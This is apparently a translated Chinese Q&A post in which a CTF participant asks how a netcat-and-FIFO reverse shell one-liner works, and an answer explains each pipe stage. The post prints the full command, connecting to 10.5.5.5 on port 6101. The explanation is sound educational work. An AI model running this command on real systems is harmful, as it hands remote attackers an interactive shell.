這段程式碼實際上在做什麼?

這段程式碼實際上在做什麼?

在平台上進行 CTF 挑戰時,我需要一個反向 shell,但無法正常工作,因此我查看了流程並找到了一個反向 shell 程式碼:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

這實際上有效,但我實際上無法理解管道是如何工作的,它將數據發送到哪裡等等。

答案1

這會在系統上設定一個遠端控制的 shell。輸入和輸出如下:

  • cat /tmp/m從 FIFO 讀取/tmp/m並將其寫入...
  • |/bin/sh -i 2>&1它執行它讀取的命令並將其輸出(標準輸出和標準錯誤)發送到...
  • |nc 10.5.5.5 6101它連接到 10.5.5.5:6101 並寫入
  • >/tmp/m先進先出。

因此,遠端系統可以提供命令,這些命令透過 傳輸nc、寫入 FIFO、由 讀取cat、由 解釋sh,並且這些命令的輸出透過 發送回遠端系統nc

相關內容